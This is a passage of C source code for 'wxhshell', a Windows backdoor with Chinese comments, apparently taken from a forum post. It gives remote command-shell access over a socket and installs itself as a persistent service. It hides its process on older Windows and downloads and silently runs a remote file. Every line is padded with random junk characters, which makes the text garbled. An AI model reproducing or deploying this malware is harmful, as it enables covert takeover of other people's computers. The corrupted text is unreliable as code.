    switch(cmd[0]) { m.|qVN  
  #.RG1-L  
  // 帮助 v_[)FN"]Y.  
  case '?': { F?!};~$=Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fB@K'JQG  
    break; nA|gQibA  
  } 3/ yt*cr  
  // 安装 -DbH6u3  
  case 'i': { p,!fIx  
    if(Install()) V_7 Y1GD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zLE>kK  
    else /[p?_EX@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.;{ 8AM%f  
    break; -O>^eMWywo  
    } -%7Jj;yA  
  // 卸载 jcT{ugpq  
  case 'r': { JuKk"tr~RB  
    if(Uninstall()) #3AYz82w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+URCj  
    else )UxQf37  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Yc^Nc  
    break; L5i#Kh_  
    } !- Cs?  
  // 显示 wxhshell 所在路径 g!~-^_F  
  case 'p': { 5&G Q=m  
    char svExeFile[MAX_PATH]; p3>Q<  
    strcpy(svExeFile,"\n\r"); mdmZ1:PBM  
      strcat(svExeFile,ExeFile); 'Y~8_+J?  
        send(wsh,svExeFile,strlen(svExeFile),0); JMl ,  N  
    break; %5( EkP  
    } .Bm^3A  
  // 重启 EIy]qAE:f  
  case 'b': { 35-DnTv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H-nFsJ(R!c  
    if(Boot(REBOOT)) EN5G:hD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tU-#pB>H  
    else { %N?W]vbra  
    closesocket(wsh); 'b?#4rq}  
    ExitThread(0); n0>5'm%ES  
    } YL0WUD_>  
    break; 1( QWt  
    } %B*<BgJ;4F  
  // 关机 gdkLPZ<<  
  case 'd': { K{eqB!@j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zyQ,unu  
    if(Boot(SHUTDOWN)) vfk7J5y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Oe_} jv;  
    else { ~jgN_jz  
    closesocket(wsh); UpE1PLZlB  
    ExitThread(0); wz|Q%.%?[  
    } =DQdPA\K  
    break; ly[\mGr  
    } )- Wn'C'Z  
  // 获取shell !=k*hl0h  
  case 's': { k*zc5ev}  
    CmdShell(wsh); >F LdI  
    closesocket(wsh); \]~kyy  
    ExitThread(0); 7>c 0V&  
    break; tq4"Q BIKh  
  } w<8O=  
  // 退出 -E,{r[Sp  
  case 'x': { 0& SrKn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r7wx?{~ 28  
    CloseIt(wsh); wXIe5  
    break; 2s]]!{Z#  
    } f0HV*%8  
  // 离开 3f7t%  
  case 'q': { }tl8(kjm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K2cpf  
    closesocket(wsh); |P[D2R}  
    WSACleanup(); {YxSH %  
    exit(1); Rd@n?qB  
    break; )U/@J+{{  
        } fjz2m   
  } m`1}O"<&i  
  } r~Is,.zZ}  
<*~BG)b  
  // 提示信息 \V!X& a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MU^xu&MB  
} S9F]!m^i  
  } )Zu Q;p  
{TcbCjyw  
  return; $.x?in|_  
} PL$(/Z  
,& pF:ql F  
// shell模块句柄 Pvb+   
int CmdShell(SOCKET sock) 2)j#O  
{ 1_dMe%53  
STARTUPINFO si; BW(DaNt^  
ZeroMemory(&si,sizeof(si)); :n%sU* 'T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "*H'bzK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a_}BTkfHa  
PROCESS_INFORMATION ProcessInfo; T/spUlWu  
char cmdline[]="cmd"; 9DP75 ti  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wYS KtG~/S  
  return 0; "YdDaj</  
} |WwFE|<  
dBD4ogo1  
// 自身启动模式 #mz,HK0|aC  
int StartFromService(void) Ws}kb@5  
{ q[,R%6&'  
typedef struct f >, Qhl  
{ #uRq] 'P  
  DWORD ExitStatus; l7r N  
  DWORD PebBaseAddress; >-./kI "  
  DWORD AffinityMask; -T>wi J  
  DWORD BasePriority; `QyALcO   
  ULONG UniqueProcessId; M$5%QM}  
  ULONG InheritedFromUniqueProcessId; 0z<]\a4  
}   PROCESS_BASIC_INFORMATION; 5M.n'*   
4|o{_g[  
PROCNTQSIP NtQueryInformationProcess; @gVyLefS6g  
7`'fUhB!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]mLTF',5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5 xzB1n8  
}FdcbNsP  
  HANDLE             hProcess; Xta>  
  PROCESS_BASIC_INFORMATION pbi; (Q p] 0  
; 0_J7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ dI&> CL  
  if(NULL == hInst ) return 0; pl^"1Z=*  
uD*s^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rsIPI69qJ.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d_?Zr`:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }rAN2D]"}  
3~1lVU:  
  if (!NtQueryInformationProcess) return 0; Z?j='/u>@  
R.WsC bU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'I01F:`  
  if(!hProcess) return 0; N\?Az668?  
Nz;*;BQK:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }W>[OY0^A  
?}>Z_ ("  
  CloseHandle(hProcess); lO[jf6gB  
OB I8~k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a.*j8T  
if(hProcess==NULL) return 0; $}"Wta  
y2ws*IZ"  
HMODULE hMod; )k%drdY{J'  
char procName[255]; ah$7 Oudj  
unsigned long cbNeeded; 1#X= &N  
:@807OYzy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kG7,1teMk  
`/j|Rb|eow  
  CloseHandle(hProcess); `0WA!(W  
H2R^t{ w  
if(strstr(procName,"services")) return 1; // 以服务启动 GbrPtu2{@V  
1?#p !;&  
  return 0; // 注册表启动 `h{mj|~  
} bqwW9D(  
Mh/>qyS *2  
// 主模块 W%<]_u[-}  
int StartWxhshell(LPSTR lpCmdLine) 0-; P&m!!  
{ ~ z&A  
  SOCKET wsl; E#F9<=mA)  
BOOL val=TRUE; 9 8BBsjkd  
  int port=0; # yRA. ;  
  struct sockaddr_in door; ?)QBJ9F  
W[Ew6)1T  
  if(wscfg.ws_autoins) Install(); yt#;3  
sTstc+w  
port=atoi(lpCmdLine); 6rCP]YnF  
nXaX=  
if(port<=0) port=wscfg.ws_port; (<~ R[sT|  
>oaEG5%d  
  WSADATA data; L<>NL$CrN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F3|pS:  
] Sx= y<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |DS@90}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F?AfB[PM  
  door.sin_family = AF_INET;  p:>?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +=04X F:  
  door.sin_port = htons(port); 6@*;Wk~  
`Ta(P30  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~W2&z]xD  
closesocket(wsl); ?D 9#dGK  
return 1; ph (k2cb  
} 8GRr f2  
!*. nR(>d  
  if(listen(wsl,2) == INVALID_SOCKET) { 0aoHv  
closesocket(wsl); GYmBxX87  
return 1; }uj'BO2?  
} d3J_IW+8R$  
  Wxhshell(wsl); 2*DS_=6o  
  WSACleanup(); h_"/@6  
G9":z|  
return 0; >}(*s^!k  
ewPdhCK  
} Bo(l!G  
BU{ V,|10a  
// 以NT服务方式启动 .wn_e=lT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tpzdYokh >  
{ ,$ret@.H  
DWORD   status = 0; !PTbR4s  
  DWORD   specificError = 0xfffffff; (G!J==  
4$w-A-\ t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BcO2* 3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c)YGwkY,,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #;\;F PuZ  
  serviceStatus.dwWin32ExitCode     = 0; `%I{l  
  serviceStatus.dwServiceSpecificExitCode = 0; ##ea-"m8  
  serviceStatus.dwCheckPoint       = 0; #/=yz<B  
  serviceStatus.dwWaitHint       = 0; ;9\0x  
Nmq5Tv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mzR @P$:36  
  if (hServiceStatusHandle==0) return; =zGz|YI*?  
7%}}m&A7h  
status = GetLastError(); uy\+#:44d  
  if (status!=NO_ERROR) Z"KuS  
{ MpvA--  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U4pvQE.m<  
    serviceStatus.dwCheckPoint       = 0; < l ^ Z;.  
    serviceStatus.dwWaitHint       = 0; lq9h Dn[p  
    serviceStatus.dwWin32ExitCode     = status; }H^^v[4  
    serviceStatus.dwServiceSpecificExitCode = specificError; y+x>{!pw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  +6-!o,(  
    return; lhODNWi  
  } KA2B3\  
>~InO^R`5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f TtMmz  
  serviceStatus.dwCheckPoint       = 0; p{PYUW"?^  
  serviceStatus.dwWaitHint       = 0; @(?d0xCg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -^"?a]B  
} ?q&mI*j!  
~H~4 fp b  
// 处理NT服务事件,比如:启动、停止 ~[,TLg 6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J0plQDe  
{ \{mJO>x  
switch(fdwControl) &<b7T$c  
{ =D$r5D/xd  
case SERVICE_CONTROL_STOP: ->{WO+6(  
  serviceStatus.dwWin32ExitCode = 0; /T'nY{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @C)h;TR  
  serviceStatus.dwCheckPoint   = 0; GQNiBsV  
  serviceStatus.dwWaitHint     = 0; P6'I:/V  
  { [=!MS?-G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bJ}+<##  
  } E:OeU_\  
  return; AtYYu  
case SERVICE_CONTROL_PAUSE: )$g /PQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @SB+u+mOS  
  break; r\`m[Q  
case SERVICE_CONTROL_CONTINUE: A+8b] t_k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~'mhC46d  
  break; LvdMx]*SSr  
case SERVICE_CONTROL_INTERROGATE: @h3)! #\ N  
  break; ri`|qy6! |  
}; [AwE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !d_A?q'hN  
} P dnK@a  
!IU*Ayg  
// 标准应用程序主函数 DR=1';63  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ U|u _S@  
{ PS1~6f"D  
Yw `VL)v(y  
// 获取操作系统版本 Rw% KEUDm  
OsIsNt=GetOsVer(); z<*]h^ !3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'M/&bu r  
>fQN"(tf  
  // 从命令行安装 tBQ> p.  
  if(strpbrk(lpCmdLine,"iI")) Install(); G8'3.;"W5  
WKML#U]5T  
  // 下载执行文件 -]%@,L^@  
if(wscfg.ws_downexe) { LOzKpvGl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #YdU,y=B  
  WinExec(wscfg.ws_filenam,SW_HIDE); .m51/X&*n  
} (#lS?+w)  
$!w%=  
if(!OsIsNt) { (%, '  
// 如果时win9x,隐藏进程并且设置为注册表启动 @su,w,xLS  
HideProc(); v2R:=d ')>  
StartWxhshell(lpCmdLine); 6 [E"  
} ^u{$$.&  
else +=4b5*+qG  
  if(StartFromService()) :f:C*mYvu  
  // 以服务方式启动 HS9U.G>  
  StartServiceCtrlDispatcher(DispatchTable); 1uMdgrJRR  
else {lJpcS  
  // 普通方式启动 39#>C~BOl  
  StartWxhshell(lpCmdLine); _L>n!"E/  
X.qKG0i  
return 0; (ShJ!  
}
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只看该作者 1 发表于: 2006-10-10
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